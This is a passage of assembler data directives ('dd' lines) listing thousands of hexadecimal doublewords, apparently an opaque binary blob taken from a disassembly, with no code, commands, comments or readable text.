0D0565477h, 21AC814Ah, 8A02A6C2h, 0A178FAA1h, 7CD892A7h dd 42BDF82Bh, 2E5A3FC4h, 0DF57485h, 2D1AD080h, 0FBC5DFDCh dd 6E066C8Eh, 0A9E026B8h, 928C06AAh, 0F0AA4E57h, 8BA7ECF3h dd 13B37D5Eh, 50CDFAD1h, 2FC20224h, 7ECB5597h, 703F759Fh dd 0ACFB300Eh, 70E80B5Ch, 0DC4F9BFDh, 2E47B53Ah, 7A0ACA89h dd 276B0A63h, 0DF5D5C26h, 2831E401h, 0D3766D57h, 92ACCA92h dd 0AA305D94h, 0BE62CCF3h, 0D406CBB2h, 66FCAE0h, 0D4202E93h dd 5B46FAB2h, 63138F18h, 0B573BA24h, 77568517h, 3DAB9931h dd 9535FB40h, 0AEC25A36h, 1F5A5FAh, 181D60D2h, 24192B7Ah dd 0AD844497h, 4D3F7F3Dh, 3C49B172h, 29940333h, 8623FCB6h dd 958DDA03h, 4A225342h, 60670BBEh, 7489FD6Ah, 252E816Bh dd 4E094E54h, 0ABCFAD7Ch, 0F7365AA0h, 0C5B08DEBh, 0CE4AF00h dd 54D40F6Ah, 0F6FA5A09h, 57EBA57Bh, 2EBC2AEh, 5208D33Eh dd 76D367F6h, 4ABCB583h, 7F80AD81h, 5ACDE857h, 853719F8h dd 9D14AFB0h, 62179AAEh, 0FDF29CD7h, 4BE84919h, 7C0EAF4Dh dd 60921161h, 0F2C389D5h, 2ED61565h, 5019A28Ah, 0F086AEC8h dd 26D8ABC3h, 727008BDh, 8B44FC45h, 58E05D8Dh, 6102602Dh dd 442D633Ch, 7568A6EEh, 0D57E07Eh, 0A316397h, 455B47Bh dd 0D53CAED1h, 538D018Eh, 4A8D7D95h, 0FAA0049Ch, 47137987h dd 2463C95Eh, 9EB8FAD1h, 0E4414F21h, 0C507D367h, 238AA6B5h dd 983F2BA1h, 0B376FDE5h, 7317C40Ah, 9A40B330h, 7301865Ch dd 4BEE754Fh, 45D73C84h, 0A829903Ah, 1228E940h, 0FB072F81h dd 4E555699h, 56048EB8h, 0F5279B27h, 95230BC7h, 74BE5EF1h dd 15BEE240h, 4E902E95h, 6864C42h, 2969B77Eh, 1E81FD5Fh dd 9070CE74h, 0B46E136Ch, 0DB7A6912h, 6C372ACFh, 72796133h dd 54D8974Ah, 1F588044h, 838D8FE3h, 7828D9B0h, 381C45F4h dd 0B3627F9Ah, 0F73BE012h, 353DE8A5h, 0BBC1414Dh, 182E8611h dd 62ED4E6Ch, 202F75E7h, 0CB690350h, 9B000DDEh, 9EDBF26h dd 0DF70F036h, 85176F77h, 63A5157Ah, 0E56970FAh, 0B5DA5953h dd 182707D9h, 8BF8203Bh, 0A434E67Ah, 4E625A92h, 0E72CE28h dd 0BAD11AEh, 0E1FF5068h, 0F88CCEB6h, 0B679895Bh, 5596B474h dd 509568B6h, 90B2C972h, 0B996BE60h, 65597916h, 0A9DE3F6Ah dd 573314ABh, 2D14EA34h, 0EB7E3245h, 7D2C44AAh, 0EACB2FCCh dd 683D59D1h, 565C0857h, 6349A249h, 0FE8F9548h, 2AA36E8Dh dd 2AADA91Ah, 6A488B69h, 77AD2137h, 0AAD05435h, 4116194Ah dd 47F0A92h, 0B5339829h, 0C3BF1124h, 64D5B5Ch, 0D6187A37h dd 18405063h, 0E517751Bh, 8BEC7D7Bh, 28BFDBF4h, 0D1EAAD3Fh dd 1A68BF47h, 6C5E6555h, 13836135h, 6B7D15BEh, 0A76EE830h dd 9336EE51h, 0E52A6551h, 843E8E7Ah, 15B13E2h, 998A5A36h dd 0CAEA5665h, 0A42EE8C3h, 0C7CBA28Eh, 8FE4D0AAh, 0BF8539DDh dd 98686239h, 0C48324CBh, 0AA5408B7h, 95411A6Ah, 7CF1999Ah dd 0F88F4A56h, 0B60200E3h, 39B93832h, 3D85A8AFh, 3F72EB9Ah dd 6C194555h, 0D2E870C3h, 6C7F1EB8h, 479C68Ch, 0E5692D11h dd 88D3694Fh, 5CAB77A0h, 80193FB5h, 9E40EB54h, 2753015Ch dd 7D4BA957h, 0AAC512EFh, 75A9508h, 7245AD82h, 0CE86B54Dh dd 5A029779h, 3F9F1AB6h, 0C5E98861h, 0A2BFB57Ah, 8A04DDF4h dd 5F70BC5h, 206845AAh, 7544EC03h, 43A0E512h, 0E0A5715Dh dd 0ACC22DAAh, 8BCE904Ah, 3DF308EAh, 0B3350164h, 5DED59A7h dd 25067310h, 35CF8A52h, 23D13295h, 59AEE677h, 4522753Dh dd 0E4FA274Bh, 8271D809h, 97D5B975h, 8A6A8997h, 0FB26E8CEh dd 0D0407A95h, 8B076EBCh, 7428D21Bh, 2ABEF111h, 0AE6BC3C3h dd 6669849Ch, 91572762h, 97435715h, 1C55C6C7h, 230B3AEBh dd 0AB8C733Bh, 7D21A16Ch, 3DE5A959h, 0CBA5E55Ch, 8943F41Eh dd 9057C1BDh, 2ADBAB37h, 441AF1F9h, 5D0BE223h, 24801505h dd 0B45E500Ah, 9E8E1920h, 57521731h, 82AE30D9h, 0A1DEBDCFh dd 1E650DE4h, 6610BE66h, 657054FDh, 2F4A1455h, 39596AFh dd 39D22948h, 7E805D25h, 466ABB15h, 3BF5A289h, 900AEC28h dd 0A3AEBCEAh, 847C3F7Dh, 87A13929h, 22AF5363h, 0DF221BE9h dd 0D5984157h, 0DE58AAC8h, 1845BD61h, 78146F92h, 4BE10F67h dd 37C6F9E9h, 8A60728Eh, 15D4D402h, 0D05BB406h, 5B8AEDC5h dd 0A3833E17h, 5129AE7Fh, 0A5E0CCAAh, 0D20384FDh, 0EC4BACA6h dd 7E7349C0h, 0FA646B1Ch, 2A946CE3h, 0FDA2A0DFh, 902E4B1Fh dd 3E6280D1h, 0A4BAFE99h, 4D74F0A0h, 0E2AA41F5h, 3C0684EDh dd 0FA798D1Bh, 0FE1A7F9Fh, 0DD776DF3h, 83EAA55Ch, 0BA880FEh dd 7AD8466Dh, 615D46CDh, 0EAEFDCA0h, 11FC5D48h, 34AC0B43h dd 6FEC5DB5h, 6C8DCEF8h, 128D465Dh, 0A116E0F3h, 51B8E0A6h dd 7C66E55h, 0F1159F97h, 1272E3EDh, 0A43F771Fh, 19CFA6Bh dd 0ED09F1h, 0CB294EF7h, 0C54A9E6Fh, 279B4329h, 41411574h dd 3A0DA4E6h, 30B70407h, 80AA9086h, 2AFDC089h, 0C7FEA256h dd 78C2FA9Ch, 11272701h, 7654D777h, 0B5BACCCh, 7E235074h dd 7CDCD8BEh, 62C00B80h, 947F17FBh, 0FDB58108h, 3787220Bh dd 591CD8B5h, 90E33205h, 0D97BEA08h, 38405A07h, 0F959AEDAh dd 250D9D85h, 0EF271F7Bh, 0A6ACEA1Bh, 0A46C19D0h, 1BD9BA94h dd 0BA906470h, 0F02D481Ch, 0C2EAC569h, 4165318Ah, 2BDE1DC2h dd 51426AABh, 0A196C616h, 5AB9BA54h, 0CA8C30A2h, 5DAFEB08h dd 0C508B74Dh, 0B7B1D3C8h, 2089EAC8h, 0A6498852h, 1015B24Ah dd 8669DDA1h, 0A18827AAh, 0FA7184FCh, 0EA3DCEB6h, 1138EB6h dd 8348EF54h, 1591048Dh, 37A8FAFDh, 0E802CC6Dh, 0F2A3D992h dd 8350707h, 278A5368h, 0A7369BA5h, 68B0D9E8h, 9BA5371Dh dd 5F3F5655h, 0ADD92FB9h, 0BB6F16Dh, 5460FD28h, 5CA6FC70h dd 39326779h, 394A0B6Bh, 52B2800Ch, 0B4A03CF4h, 1411FCF4h dd 0F208BA39h, 8A18B519h, 8B48869Ch, 0A66CAC6Ah, 1DAE5D44h dd 0F7027940h, 53CCB12Fh, 34D865C9h, 70EFC128h, 842C34BDh dd 3F6DF705h, 0CE4F6A24h, 881C000h, 80C407C1h, 0C6A895A9h dd 0ACA22657h, 72A628A6h, 6E613228h, 1B222D55h, 8F04D41Dh dd 60406AB2h, 5E2F50EDh, 2B51F836h, 0E561F2C1h, 4BAD074Dh dd 9684F43Dh, 15848DBEh, 5DFADA36h, 43F15A73h, 6B562CEFh dd 74FCE45Fh, 0C3167F66h, 39460DD4h, 0CE79AC6Eh, 0EB139599h dd 0E70EC16Ah, 886B7875h, 197671D5h, 5207BC21h, 0E7155BAEh dd 878170F9h, 9D2B6A9Bh, 0FB6A17D0h, 1DACA94Ch, 9592872Dh dd 0E7EA2A03h, 0AB6F5BF7h, 0ED20E941h, 0C35A9D53h, 0D150D03Eh dd 25A4146Eh, 6E0C5FFh, 0CD32AEA9h, 56B82355h, 8D3C500Ah dd 0ABF77E0Fh, 3755706h, 0D6D1E1A6h, 2EA7EFFCh, 0D0B81FBAh dd 0FE419DAAh, 503E7707h dd 4B5F3D97h, 94ED03A5h, 0A60A188Dh, 0C48169C2h, 44158EF9h dd 0BF491ADFh, 58A17048h, 1640F174h, 2392C9A7h, 0B918EE11h dd 41B90CDCh, 0B0B5AF2Ah, 0A28DEB89h, 0CAADE4AEh, 0EE67E633h dd 67001877h, 543E0CE1h, 0FC253353h, 0EB8C2AD0h, 3939DA06h dd 1433C8A2h, 8D02CC59h, 4698112h, 0E56A42D5h, 0A1909521h dd 0E0B7A10Bh, 12A968D4h, 51CAFBCEh, 99C4EC08h, 4C779E8Fh dd 2EF2030Ch, 20609003h, 0E070135Ah, 0FCDCC3BEh, 5255E88Ah dd 3093D565h, 8CEE06A2h, 8B475CD3h, 50506149h, 6ABFB810h dd 7140A025h, 0DD289EA8h, 0D68AD176h, 31C2B185h, 5AA0474h dd 4691B78Fh, 9B100328h, 2070F5C6h, 9DD0DE6h, 0AB417502h dd 739A89C9h, 0A5CBA3BDh, 6A82CAFAh, 6C188095h, 140A2BCBh dd 72A78D76h, 42D2540h, 501E6868h, 0E4C621ADh, 0B2BC6795h dd 34598683h, 0A712999Ch, 992B64D1h, 0AF224B6Ah, 6491C99Ch dd 44FEA837h, 0CA9B65CEh, 24382AF4h, 4922F8A7h, 0D54438F0h dd 0A0FF8498h, 527B8396h, 28F6918Eh, 8B4A4439h, 9AC3A396h dd 0C40A0E26h, 4128E8A8h, 43280EA0h, 15A03E92h, 7396B461h dd 216A8E4h, 541F8A34h, 0ABEAEBD0h, 1643D01Dh, 0AB0D107Dh dd 0AA45600Bh, 0F52792D6h, 15E70914h, 0F7CC5A3Bh, 3A8D8812h dd 0E81A5948h, 28161309h, 3AC9CA4Eh, 4B58DECEh, 57149CEDh dd 64FD12B5h, 0BA40154Bh, 8D0C729Ah, 89B3B111h, 25039142h dd 43518827h, 55935F0Eh, 0D902A281h, 59258A8Ch, 2498779h dd 49A3B0h, 0A2CEC6Dh, 0F85C9BCCh, 0A5504C37h, 3C90138Ah dd 6F8C0342h, 0B195CA5Dh, 81A35035h, 4228E454h, 0BE349F8Eh dd 74072CC5h, 17218503h, 76B4658Bh, 85619C94h, 2C5C5206h dd 0E616D596h, 0F5AAACAEh, 73F13AD2h, 0AAAA098Dh, 3E338C01h dd 620AC14Ah, 1C7D520Eh, 3412FDCFh, 1560EE3Ch, 0C1822B6Fh dd 5D7D9BC5h, 885586BDh, 9835CE86h, 84289DE5h, 0A14515D3h dd 0E553EE3Fh, 0D66E7F24h, 865C0A87h, 0E5BFCFE8h, 475552h dd 0A1CA897Eh, 7D84E8D4h, 8D05FD09h, 0AFA0D955h, 2DA37F3Dh dd 5FE01BD4h, 50DA486Dh, 58DA3183h, 4EF81FC4h, 281FBD48h dd 0C093D758h, 13FAB34h, 8A814DFAh, 1304E006h, 8A57C433h dd 0C3AFE6B6h, 96A39E78h, 9F6CE8BCh, 409D15F9h, 0DA1BC80Eh dd 79FD4FD1h, 7BAF17E5h, 0D57C382Bh, 759B2746h, 4E16A965h dd 7DFCCED6h, 745DEFDCh, 0F3E77A3h, 6C1C5845h, 0C6FA6430h dd 2A895753h, 0A0BF3682h, 0ECD7DCA5h, 0A1B36D8Fh, 7F870213h dd 381355B1h, 3F3EDA83h, 10F9BFDCh, 62EE597Dh, 1546A74Ch dd 1CBA84EAh, 0F80AD823h, 0DE20F538h, 0B2C54405h, 221165DDh dd 953114A5h, 0CDA77D47h, 0E46B7DEAh, 59C5B6E0h, 592306BFh dd 799AA79Ch, 0DF7E7A4Bh, 743AA48Fh, 1FE40139h, 0D2B3EE19h dd 810DCBE4h, 6716EB82h, 0A6CCEFD8h, 9389EA7Ch, 0F3523580h dd 48DD5754h, 6110E9FDh, 72898114h, 84E01830h, 6500515h dd 1751BCE4h, 0C2149F74h, 7E00C055h, 0DA342E37h, 9CAC60BDh dd 0B1E41C27h, 7F4EE24Ch, 0EC232116h, 0E037A2FBh, 7E57596h dd 8EFAB405h, 382454B1h, 0B0A03FB7h, 8301246Dh, 568A9D75h dd 0DF8B0701h, 0A8A3630Bh, 35995D3Fh, 6D6BDCA3h, 9B7385DCh dd 9EA2FD89h, 81D5F0FDh, 823686A7h, 0E05B1DA9h, 7A991710h dd 1C849106h, 0DC5FB9E0h, 7D6C1863h, 3D1FC651h, 1344C80Ah dd 0C048ED1Ch, 44E204DEh, 0D641D41Dh, 574A1A7Eh, 57528909h dd 2FC69869h, 2E1D9DB1h, 0E186C98Dh, 0C5E04BFCh, 17F7215h dd 5E0EF94Ch, 0EBEE9619h, 0BD0271AEh, 2BAED2ACh, 0CC80D6A2h dd 0F6D129ADh, 5175AC29h, 2184FD15h, 0EE982A6Ah, 7A814DA2h dd 5ADCB53h, 0D4D6914Ch, 0FEEDA84Fh, 6173FEC5h, 0A8EBC5h dd 975BAF1Ah, 43F43C7Ch, 0D20E4EF9h, 332D5B0Ch, 15E82AB9h dd 0D345B968h, 95A2F4BAh, 7AA7C268h, 0BACCF161h, 0D0A5A67Dh dd 5361E6BAh, 0EA57D63Bh, 14E7B1F0h, 7268710Bh, 0CAF114A0h dd 1C0DF2F2h, 0A4DCB3Ah, 0BFE8A75h, 0C5A85BADh, 162DF131h dd 305A104Eh, 86DA9637h, 0B019F7E8h, 72A80A3Bh, 3045DC59h dd 0B54233E5h, 0CCA299CEh, 4B661DCAh, 57C4F615h, 0EE566F49h dd 0D4C9E310h, 16EB208Bh, 8B94542Dh, 0A1772AA1h, 0C63FDEC2h dd 96A890B6h, 0ADEB8B3Ah, 29A8F7FFh, 45BDFAAEh, 6716387Eh dd 0D95D1C6Ch, 43F2882h, 6A78154Fh, 6B00D51h, 23D0403Ah dd 960F9A17h, 7CD343h, 0EB725215h, 17826B70h, 0A541CD7Bh dd 5BF2A22h, 0BB9168A5h, 0E51120B7h, 5D5B4511h, 42D69DE1h dd 3BC1A4DCh, 27955594h, 216EB453h, 911BDA91h, 8FA037E6h dd 1F8AA8EDh, 0AFC276BCh, 0AA37A1E4h, 597DE8B3h, 245AC9E6h dd 2EACA990h, 0ABE5948Bh, 9DC2157Dh, 5B54A218h, 7565A185h dd 5380AE2Ah, 83557B75h, 9195996Ah, 0EC21DD78h, 0E5D33BEAh dd 0AA117414h, 0AEA5F53Fh, 0A67A3712h, 789C563Ah, 9BE855AAh dd 3D57C1E7h, 15C4AC20h, 7CB940A5h, 0A1557954h, 0EE60695Ah dd 24AA355Eh, 0BA0D46DDh, 5E69C0B2h, 0C52E5535h, 59C46578h dd 61629EA7h, 0E4D4EF28h, 45F777ABh, 472E3E9Dh, 52881051h dd 4E97DA7Fh, 6C56589Fh, 42290128h, 409C3DEEh, 5059C442h dd 0B0B453D9h, 6B20071Bh, 229C5A6Dh, 32740609h, 378D84EEh dd 7FE24E72h, 0DFDE3659h, 816192B8h, 0F2D8D453h, 0C70155F0h dd 27E76997h, 1CB9F5BAh, 5D6ECC5Dh, 5877C279h, 2576A595h dd 48CE2891h, 1C5978D1h, 3C3EDE23h, 0A35B052h, 1AB0FA7Bh dd 0B84F1514h, 0AAC1902Fh, 37E1C128h, 0ACB60048h, 0DA550851h dd 1F374055h, 0CC74BD1Dh, 2A635225h, 0E9AECE45h, 0D516F75Fh dd 0B79759B5h, 0C57A1472h, 0B0AB56B7h, 0F5C31E87h, 5F475712h dd 0CC08641h, 0F8E2E404h, 4B176CCEh, 0BE1E110h, 5D514086h dd 8AF601Ch, 717FE216h, 0F824F7B5h, 0CDBACDCEh, 37DFEE7Fh dd 17B17331h, 22160291h, 0CC2416DEh, 0A2B545AAh, 5C442910h dd 0CE66AB62h, 0B0EA948Eh, 8A4D3766h, 70162923h, 0F68C58B8h dd 7EED4E15h, 3B6B60EDh, 0E5374B41h, 4179F90Ah, 0B419A0FEh dd 2930539Ch, 76AE7585h, 4C3DB7C7h, 0ADE2C915h, 12027DAEh dd 0AB49A3A0h, 26C21D4Dh, 9655B2F8h, 0B8BF017Eh, 0C3F5CFB0h dd 0DC502C6Dh, 1675C4D4h, 0B5CF9589h, 0B3D922C6h, 8430F9F5h dd 155A4DECh, 39DA4A7Fh, 471C07C5h, 61575111h, 0C2E77284h dd 1092808Eh, 7EC22E7Bh, 8048275Ah, 0D8F7D4AFh, 3735B5D1h dd 88BF3BE0h, 69C0DF30h, 0B7C37F9Bh, 612AF7ABh, 34CD5FA3h dd 114DC3A0h, 0A34E119Bh, 59A7CB15h, 1FCEE7B1h, 5AD1655Ch dd 684BA2B3h, 1659042Bh, 0BC253FE9h, 0EF8EAACh, 0D7FC8737h dd 0F704B54h, 7B97039Eh, 97CEFA2Fh, 0C5F7EA8h, 0F62B0678h dd 39C718BCh, 0BBA1F737h, 3D164856h, 80085577h, 5961883Ah dd 9279289Bh, 0CA8845D7h, 0C68EB643h, 375EB7C2h, 0CE544427h dd 989482BEh, 589BB11Bh, 1D9DC132h, 3F561F47h, 9B171BB8h dd 225DC723h, 0CBC7D879h, 9E714C90h, 0B091EF0Dh, 0F1FF16A9h dd 39BF6A34h, 0A7CAA420h, 0DD84EF1Fh, 9054DE9Fh, 0E32D2C68h dd 3178F99Eh, 71D5CEF4h, 380C70C3h, 1345EC35h, 67A24744h dd 276502B5h, 2A2D147Ah, 15278168h, 684C2C7Ah, 80841FF7h dd 0D5FC5DD3h, 0CA62D34h, 583E6ACCh, 0F17071ACh, 0FC099F6h dd 20EE6581h, 7CD57082h, 438F7E90h, 0AAD59432h, 0C978048h dd 0BAC6F6F4h, 9C2FE34Eh dd 0CD031C74h, 0BF7FC56Ah, 0F0E5660h, 1897CAFAh, 0C06F4CA8h dd 76AEF4D6h, 14004309h, 91A43DB0h, 4E2BD262h, 0A5DD3C09h dd 8530BBCBh, 0C78BD4CAh, 9616E2F8h, 4732A811h, 8E3B16EBh dd 0B4DC8E6h, 33A2D298h, 3E286862h, 0D66ABDC6h, 0AA6B55D5h dd 47245815h, 0A59FD003h, 0D295A111h, 0E5789521h, 0B178E6ECh dd 6EB8E859h, 3F805990h, 49C2512Ah, 9D096934h, 368F3654h dd 0AE2E1F1h, 5D6863B8h, 0C2ADEB9Ch, 8A23BE34h, 0D55E5B4Eh dd 0A13BB8D2h, 337E9D9Ah, 0DD19CEEAh, 0B4F64A11h, 99E331DAh dd 8ADA52CCh, 5141F295h, 5E61D657h, 0F65F465Dh, 6ABB8745h dd 0CEBB52A6h, 4AA60C57h, 84B87CFBh, 0B22A7576h, 0A903EAB7h dd 0BD6E304Fh, 17480253h, 69C54E62h, 1B974AEBh, 6EB13F30h dd 54F3C005h, 92A0C4Eh, 36B816B4h, 0DD5B2FBh, 791ED6FCh dd 61117004h, 0A5F45B52h, 0A4B2FD03h, 83E82D4Bh, 0E9CBAEC6h dd 97E0E2A3h, 5FD157D5h, 0EFE75A56h, 517D5702h, 9670F985h dd 11011B7Ah, 92326159h, 0D911AD91h, 20308B54h, 0CD949DC2h dd 0BB055DD9h, 0ABDA0125h, 0D571FACEh, 0E2E62996h, 0A12F4CEAh dd 0B6ABBAC7h, 9229C4CFh, 32B368Eh, 6332689Eh, 0D1E15D1Dh dd 80D20022h, 0FCE616C2h, 46F0208Dh, 2D882311h, 0CEE2267Ch dd 968D90C4h, 750A36F3h, 0E00DC446h, 0D5860E87h, 8D33688h dd 32002735h, 4CBA865Bh, 27E6F94h, 1F632346h, 0D6E8731Dh dd 0F633C440h, 0F025101h, 8623C02h, 0F4524D1h, 0D1AC24B1h dd 172BCFFDh, 805C910h, 5008A470h, 90C478CCh, 0CC113288h dd 857104D8h, 8E6AFB34h, 0D68AE0B9h, 0C60ED2Ah, 0E201E0D1h dd 0B5402C68h, 3A1E3D1Ch, 0A33B5430h, 80A2B8AAh, 504868F3h dd 928C5BDh, 4E9A1A35h, 5B15228h, 6510644Ah, 0A1BC3268h dd 0FB10BA64h, 6013D4E8h, 0D8848C23h, 0AD132108h, 4790CFA5h dd 0A67558C3h, 813E0DCEh, 0AD0B11A5h, 2505D760h, 0A5426360h dd 112BA1Bh, 21123086h, 8F196286h, 1845280h, 1EC9081h dd 0DE1448CAh, 0B6D6622h, 23685FD7h, 25AD0ED2h, 6666114Eh dd 96D22EABh, 0A41F2A02h, 31ECD699h, 97E6BA42h, 1188A01Bh dd 70462360h, 0D1ACB0D1h, 452CFC72h, 89B888D5h, 4ACABA90h dd 4E0C4452h, 92A82711h, 1465A524h, 3A708F6Ah, 677259A1h dd 9C658DC0h, 8F14408Dh, 0B38CD815h, 104E535Fh, 0D04C8AA9h dd 913A228Dh, 9E00F85Ah, 26748D5Fh, 8C4E37EEh, 0A80B11A7h dd 1BFC6F11h, 0C6235160h, 1BBA189Ch, 0E5A681Ah, 2B4B089Eh dd 8CDED0ACh, 4E1142C2h, 4F82693Ch, 1D2FE6F3h, 0A17B7681h dd 0AA5896A5h, 4662B013h, 5A943DACh, 760886B8h, 3914B073h dd 65B9D646h, 0A780341Ah, 0E6A308C7h, 0A4896F1Ch, 6F224B11h dd 0C4E39184h, 6E7D138h, 0DF4B9958h, 818D7968h, 1BEE4A24h dd 0AFC10F20h, 4C6C01ADh, 81A08E3Dh, 230B44A4h, 0A44FC72Dh dd 0A92DD195h, 0F2D22270h, 2D232309h, 0D23E3095h, 0B60908B2h dd 6B8B6D11h, 0B169D8B9h, 34B095A3h, 96946E77h, 944B24B9h dd 0C00DCE01h, 0D46D0266h, 2186EF9Ch, 37930234h, 84468CA2h dd 5E11968Dh, 6970C626h, 26598BB0h, 0C9C46A4h, 0AE8C11ABh dd 11B15711h, 16461A54h, 4F110C4Eh, 9344B226h, 64B1A309h dd 0C1A46EE2h, 50991BB0h, 9026911Ah, 0A50C1C46h, 11A74511h dd 11468243h, 0F9878C1Ah, 0B47EFA04h, 99FFBF2h, 0D1C209A8h dd 0F4550022h, 3F49189Ch, 31EFBFDDh, 0C113EE22h, 6F6C0035h dd 236F3A80h, 0C0374CE4h, 6B1116DFh, 99C4C226h, 0A476BE09h dd 61866AE2h, 31C501BEh, 0C0888C22h, 293EBE72h, 2802B8ADh dd 0CE04460h, 422025F0h, 48A2A8CAh, 0BDA8187Eh, 6F0A6311h dd 1BAAD784h, 0F3E3521h, 0DD118D58h, 0D8804819h, 0A359B7A8h dd 0A8D193D8h, 0CA3711B4h, 1A8D846Ch, 3C0A711Bh, 2BA5D803h dd 79A934A1h, 9E22E408h, 0FA035C50h, 0DA05A50h, 50841585h dd 450E1156h, 39040315h, 276F22DAh, 89DF4EB6h, 95C413B0h dd 31150329h, 0DB84ECC7h, 426BB788h, 0F404E59Ch, 98FD65ADh dd 982C6AE2h, 6FC04046h, 46115FC0h, 3441E5A3h, 8C1AB50Ch dd 0E89B11ACh, 2357D2Ch, 0BA3704CFh, 4DC0F130h, 1334F190h dd 452E1BFDh, 0B17088D0h, 0D1C3B870h, 2808D0D6h, 99C01B11h dd 31990ED1h, 9011100Eh, 0D822828Dh, 7CB74A10h, 667B4827h dd 2741B161h, 27016FAh, 6A6011EEh, 0C40E54CCh, 0A2F60B68h dd 0E6254FFFh, 4C536190h, 0C04E1D5Ch, 41FA888Dh, 0B3B9C4C7h dd 49E9D17Ch, 0E507D7D7h, 6512EB61h, 4C0332B8h, 0E04EE099h dd 0E8827C82h, 641102B1h, 8DC8B70Eh, 96747398h, 8D34527h dd 0A48873CAh, 5A340663h, 90C1DECEh, 69C3511Bh, 0CB32A114h dd 0ED4C3E9Eh, 9A8D2185h, 923060D3h, 46E8D046h, 0C06FD1C4h dd 0D42328FFh, 9CC8C44Ch, 1B2F5418h, 0A085234Ch, 7D9687D9h dd 9D6A2B0h, 86538AA7h, 0C3248329h, 0C432A489h, 0E626B455h dd 0A8AD9950h, 0E8224C39h, 328DD446h, 103C984Bh, 32894B4Ah dd 7B80994Ch, 16D41458h, 23768837h, 599256EEh, 27461455h dd 9CD49496h, 6F6111AAh, 3C88C022h, 5220A517h, 8F7FDE04h dd 8F6A8E54h, 0D68F2CA9h, 3F591D8Dh, 0C1A00A3h, 0A80C512Fh dd 11256E11h, 65E1C960h, 0CE9E8E49h, 0BD043A80h, 0BBC27B11h dd 0CAD77FDDh, 19D226B2h, 5D73CF67h, 447C60Bh, 95E79898h dd 0DB5FA98Ch, 64ACD118h, 0A4322980h, 468ABE28h, 5311555Ch dd 0C5D8358Eh, 473CAC0Ah, 0ED8906FAh, 6FC2B00Dh, 735291C4h dd 0E1D690CAh, 9A4EBA29h, 0B13B03C9h, 15BF6265h, 84E7F065h dd 4AED88DFh, 2F56DCC7h, 499F6D57h, 35767EE9h, 7E37DA73h dd 0CFF9CE97h, 9572E92h, 816ED76Eh, 5C0428F3h, 47975F1Fh dd 4900A5DCh, 120D5329h, 39A87068h, 509D2D22h, 31884553h dd 138FAC47h, 4455AA6Ch, 0DBC4A397h, 8AA73709h, 0EA3972B8h dd 53900138h, 47254045h, 74139DCCh, 0E43108AAh, 0C277BA88h dd 0FA5B154Eh, 0C09D711Ch, 3B0853FBh, 259DE447h, 68FBAA3Fh dd 22AEC70h, 68BE11CEh, 91159F06h, 1A5F88E6h, 189F4FC3h dd 28C4C473h, 0BAAE8A63h, 1562CD39h, 0A2BBF35Dh, 5955D548h dd 5D591E3Dh, 0FDA7428Eh, 0A1854699h, 0C717FEBh, 8432F62Dh dd 0E3808C5Dh, 516C205Ah, 0C5479C34h, 0C5F6A9D5h, 5ED9F19Dh dd 510C2B38h, 0AF7DF2A2h, 9A83042Ah, 0D415FD91h, 0AD332BE3h dd 88627C89h, 78BAF06Ch, 0BAC1F860h, 0A0D5F0A8h, 0AAE90C08h dd 4C0F6B87h, 46BD302h, 54DF8D50h, 98623EFCh, 0BB16716Eh dd 356DFEEAh, 567231AEh, 10745F46h, 801E21BAh, 0FC3AAD6h dd 0B62D57B5h, 247DA95Eh, 0FCB5D560h, 3BECE189h, 23FF277Ch dd 0CCF914DFh, 0A851EBB9h, 0C45B389Dh, 98E03A96h, 0ABA41514h dd 21B73F50h, 48871405h, 677C5823h, 0AA6788D0h, 83AC8BE7h dd 0BD9AD2ABh, 279AB1Bh, 758C04EEh, 17803223h, 300597BEh dd 0EC0F8C05h, 45722E90h, 0C4C3ED5Fh, 3E3CFB0Bh, 3BE8E878h dd 864F1285h, 0D7EE5F3Bh, 80C6C308h, 83659176h, 82498B6Ah dd 0F915E2EBh, 17F0C350h, 9B91DEABh, 14F91922h, 0B7860251h dd 0DF23EAF1h, 5F7C8509h, 18A8F53Ch, 46E41D62h, 0EB342419h dd 3249CE43h, 0C7306C5Dh, 0DFDE18C4h, 0ADB734B9h, 5DDAFDE5h dd 6CD451C3h, 0A7960057h, 0F216B659h, 7F831ACDh, 3075AF5h dd 32AF8287h, 0F0F6E829h, 1397E31Fh, 46F88644h, 31BFD43Dh dd 0EB7667FEh, 0A7BD805Eh dd 6055185Fh, 0FF6FD95h, 0A72D2871h, 99526FA6h, 5E944EC5h dd 0F07F74BFh, 4C10CC84h, 941C625h, 0D2310F21h, 0F460D315h dd 7D300E3Bh, 0E853D404h, 0EA46ED57h, 5F390827h, 0FD029CA9h dd 81FE4322h, 7F8433C1h, 538D0CDFh, 0D937E582h, 621CB97Fh dd 0AFE1BA00h, 0C8A6189Ah, 6EB9340h, 0D3BD8527h, 5CF0B0A7h dd 40F87865h, 0CB220A9h, 5654EAB9h, 0B32DA2ADh, 0F02D7C66h dd 0BFF34B6Bh, 0DB64540Bh, 8CDAFA2Eh, 0E62A4900h, 0FCC724C3h dd 50141180h, 6074EFF0h, 0C4CC84DDh, 231A0F5Fh, 8682808Dh dd 7694819h, 0D684E50Ch, 0E66275D3h, 50DF86F9h, 0CBB5F2ADh dd 3B964239h, 281AEA5Ah, 0C91CE75Dh, 0AFB3ACEAh, 4E5AB2E8h dd 0A1D210EEh, 0D902C77Fh, 2EB954FFh, 8E3BB9FBh, 0BC44C81Fh dd 8B70F6FDh, 88AF55E4h, 0FD6ABF85h, 85094Bh, 0CE738D9Eh dd 1615555Fh, 0AFA37FF0h, 0F16521E8h, 2E7815FEh, 4CFDCB59h dd 5185C85Dh, 183A1DEh, 0E408A208h, 94B45915h, 0C3C87088h dd 104B47C8h, 0D8A854Fh, 35D4AE8Bh, 54DC3E15h, 0E555D2C7h dd 68EBB90Dh, 79C41D2h, 7680F4BCh, 9B579471h, 26073801h dd 0A6D7546h, 0BAB102EEh, 99E41C80h, 195F3637h, 0BFE17F15h dd 34321990h, 0DC6BA650h, 43239CD6h, 40DA9AFBh, 0D704ACDAh dd 7D42C9Ah, 0B3FC8D8Ch, 4A62F3CEh, 7E289497h, 22ABFD78h dd 0F2F492BFh, 8B8E9E50h, 0E9BE1231h, 7E00A21Eh, 10698160h dd 0C2EBA138h, 0C4AD5017h, 0B964ACFAh, 7479160Dh, 81806918h dd 435A8DE6h, 0FA12BEA4h, 0EE982116h, 0D829D614h, 0B541DD41h dd 0E6201008h, 70029B66h, 9647BFE4h, 0C5E40D8Dh, 0B3D51205h dd 0AB7D982Eh, 0EBB7487h, 0CA83B5D6h, 0DA66C276h, 4CE7590Fh dd 877019ACh, 0B0AE105h, 80E6423Ch, 0FFAFB025h, 0D4A781F6h dd 9D7016F5h, 82D014h, 